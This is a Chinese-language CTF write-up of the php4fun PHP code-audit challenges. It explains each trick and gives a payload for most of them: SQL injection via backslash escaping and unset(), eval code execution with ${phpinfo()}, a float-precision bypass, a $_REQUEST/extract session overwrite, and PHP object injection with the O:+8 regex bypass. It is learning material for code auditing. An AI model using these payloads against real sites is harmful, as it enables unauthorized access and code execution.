简介
php4fun对于刚刚入门代码审计以及了解php中的一些Tricks都是很有好处的。本篇文章就是讲解我在做这些题目的思考。
就我个人而言,重点值得推荐的题目是challenge 3,challenge 5,challenge 7
challenge 1
代码
1 | #!php |
思考
这个明显一到SQL注入的题目htmlentities($str, ENT_QUOTES);
,使用ENT_QUOTES
会将单引号和双引号转换为html实体编码。
无法使用'
来进行注入,可以考虑使用\
去掉一个单引号,因为htmlentities
不会对\
进行转义
POC
1 | http://localhost/php4fun/1/index.php?username=admin\&password=or 1=1%23 |
challenge 2
代码
1 | #GOAL: gather some phpinfo(); |
就是喜欢这种胆小精悍的题目
思考
这道题目要求能够执行phpinfo()函数。addslashes($str)
,addslashes会在这些符号单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)进行转义,加上反斜线。eval($str)
,会将其中的$str当作php代码来执行
下面是eval的用户的一个简单的例子。1
2
3
4
5
6
7
8
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
最后的输出结果是:1
2This is a $string with my $name in it.
This is a cup with my coffee in it.
echo $str
并不会解释其中的$string
和$name
,所以原样输出。
在eval()函数中使用的双引号,所以变量$string
和$name
会被解释执行,最终就会输出最终的值。
POC
如何能够执行phpinfo()
呢?这些就需要使用到php中的双大括号的方式来执行php代码了。关于这种方式的执行,也有文章会讲到,如果有机会就再讲吧。1
http://localhost/php4fun/2/index.php?str=${phpinfo()}
challenge 3
代码
1 | #!php |
思考
这道题目也是一到比较有意思或者说是一到比较奇怪的题目,说来羞愧,对于这道题目的背后的原理我现在都不是很清楚,估计需要看php的源代码才有可能搞清楚这道题目吧。这道题目主要考察的就是php的浮点数精度和mysql精度不一致的问题。以后见到这种题目就应该会了。
但是这道题目我在本地复现的时候却出现了一点问题。
首先需要考虑到在php中浮点数精度的问题,通过php.ini
的precision
进行设置,默认情况是14(我的电脑的默认配置也是14),也可以通过ini_get
获取到设置的变量的值。
在php中当精度超过了预设的精度时,就会进行截断,截断的方式是按照四舍五入的方式进行截断。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$result = ini_get('precision');
var_dump($result); # 14
$myfloat1 = '0.99999999999999'; #精度为 14
$newfloat = (float)$myfloat1;
var_dump($newfloat); # 0.99999999999999
var_dump($newfloat == 1); #false
$myfloat2 = '0.999999999999999'; #精度为 15
$newfloat = (float)$myfloat2;
var_dump($newfloat); # 1
var_dump($newfloat == 1); # false
$myfloat3 = '0.9999999999999999'; #精度为 16
$newfloat = (float)$myfloat3;
var_dump($newfloat); # 1
var_dump($newfloat == 1 ); # false
$myfloat4 = '0.99999999999999999'; #精度为 17
$newfloat = (float)$myfloat4;
var_dump($newfloat); # 1
var_dump($newfloat == 1 ); #true
需要注意的是,在php中float和int进行比较的时候,int会提升为float进行比较。
可以看到上述的非常奇怪的现象,当进度为15,16时,虽然float强制类型转换最后的结果为1,但是与1进行比较的时候,结果为false,当精度超过16时,与1比较的结果为true。
那么面对这道题目也可以很好地进行处理了
POC
1 | http://localhost/php4fun/3/index.php?id=0.9999999999999999 |
challenge 4
代码
1 | #!php |
思考
$_CONFIG['extraSecure']=true;
,首先定义了一个$_CONFIG
数组并进行了初始化,在绕过preg_replace
的防护时会用到。unset
,销毁指定的变量,貌似这样的函数只有在php中才会出现,在其他的语言如java
、Python
中从未见到。
以下就是unset
的一个简单的例子。
出现了unset
,那么就可以考虑使用unset
去掉变量$_CONFIG
,这样可以绕过preg_replace
的防护了。
去掉防护之后,剩下的就是一个正常的SQL注入的题目。
POC
1 | http://localhost/php4fun/4/index.php?_CONFIG=abc&kw=%';select name,pass from users where name='admin'# |
challenge 5
代码
1 | #!php |
思考
这道题目比较的有意思,准备放到下一篇文章里面单独讲,这里就不作说明了。有兴趣的同学可以关注下一篇文章。
challenge 6
代码
1 | #!php |
思考
看样子,这就是一道反序列化的题目,关于反序列化的问题,之前写过了几篇文章将这个问题,所以这道题目也是比较的简单。构造一个just4fun
类的实例,使得属性secret
和enter
指向的是同一变量,这样就保证没有问题了。
POC
构造方法为:1
2
3
4
5
6
7class just4fun {
var $enter;
var $secret;
}
$j = new just4fun();
$j->enter = &$j->secret;
var_dump(serialize($j));
输出结果为:
那么最后提交的答案为:http://localhost/php4fun/index/5/index.php?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
challenge 7
代码
1 | #!php |
思考
这道题目也是相当有意思的一道题目。关键的地方在于if
的判断语句。(isset($password) && $password != "" && auth($password, $hidden_password[207]) == 1) || (is_array($_SESSION) && $_SESSION["logged"] == 1)
中间存在||
表示两者的判断只要其中有一个为true即可得到flag。
前者的判断的关键auth($password, $hidden_password[207]) == 1
无法突破,后者的$_SESSION["logged"] == 1
看似也无法突破,但是题目中出现了extract()
函数,貌似是存在利用的可能性。
尝试,http://localhost/php4fun/7/index.php?_SESSION['logged']==1
,无法绕过is_array($request)
的检测。
尝试,http://localhost/php4fun/7/index.php?_SESSION==1abc
,无法绕过is_array($_SESSION)
的检测。
这个是考察$_REQUEST
的用法的特性。
$_REQUEST,HTTP Request变量,默认情况下包含了$_GET,$_POST 和 $_COOKIE 的数组。这个变量有两点需要注意的地方。
$_REQUEST,获取的是HTTP Request变量。所以如果在运行中修改了$_GET、$_POST、$_COOKIE的变量,对$_REQUEST并没有影响。
访问GET ?index.php?id=123&kw=456
POST: user=admin&pass=qwer
1
2
3
4
5
6
7
8
9
var_dump($_GET); # array('id'=>'123','kw'=>'456');
var_dump($_POST); # array('user'=>'admin','pass'=>'qwer');
var_dump($_REQUEST); # array('id'=>'123','kw'=>'456','user'=>'admin','pass'=>'qwer');
$_GET['name'] = 'spoock';
$_POST['age'] = 18;
var_dump($_GET); # array('id'=>'123','kw'=>'456','name'=>'spoock');
var_dump($_POST); # array('user'=>'admin','pass'=>'qwer','age'=>18);
var_dump($_REQUEST); # array('id'=>'123','kw'=>'456','user'=>'admin','pass'=>'qwer');可以发现,在程序运行时修改了$_GET和$_POST,但是$_REQUEST并没有改变,这就是$_REQUEST的特性。
$_REQUEST的取值方式是按照$_GET、$_POST和$_COOKIE的顺序取值。当$_GET、 $_POST、$_COOKIE中存在同名变量时,后面的变量会覆盖掉前面的变量。
访问:GET ?index.php?id=123
POST: id=456
1
2
3
4
var_dump($_GET); # array('id'=>'123');
var_dump($_POST); # array('id'=>'456');
var_dump($_REQUEST); # array('id'=>'456');可以看到,$_GET和$_POST变量都不会改变,但是$_REQUEST会从所有进行取值,$_POST中的变量就会覆盖掉$_GET中的变量,所以最后在$_REQUEST中的就是
id=456
.
利用$_REQUEST中的特性2就可以绕过is_array($request)
的检测了,如果绕过了检测,那么最终的$_SESSION["logged"] == 1
也能够执行,最后就可以得到flag。
POC
1 | GET: http://localhost/php4fun/7/index.php?_SESSION[logged]=1 |
challenge 8
代码
1 | #!php |
思考
这也是一道序列化的题目,需要绕过preg_match( "/^{$token}:[0-9]+:/s", $data )
对序列化的检测,这种题目在之前我写的有关序列化的文章也有讲过,考的就是一个知识点,并没有很深奥的知识,通过在序列化之后的的属性前面加上一个+
就可以绕过preg_match
的检测,同时也不会影响反序列化,曾经这个问题就出现在joomla的CVE漏洞中。如果不清楚的话,可以参考文章php反序列unserialize的一个小特性
那么最后的解决方法很简单,构造一个jsut4fun的实例,然后增加一个+
即可。
POC
1 | class just4fun { |
得到的序列化的结果为:O:8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}
那么最后的POC为localhost/wechall/8/index.php?data=O:+8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}
总结
总的来说,这些题目都是很好的题目,值得大家练习。无论是对于开发人员还是安全专业的人员,上面的问题都值得思考。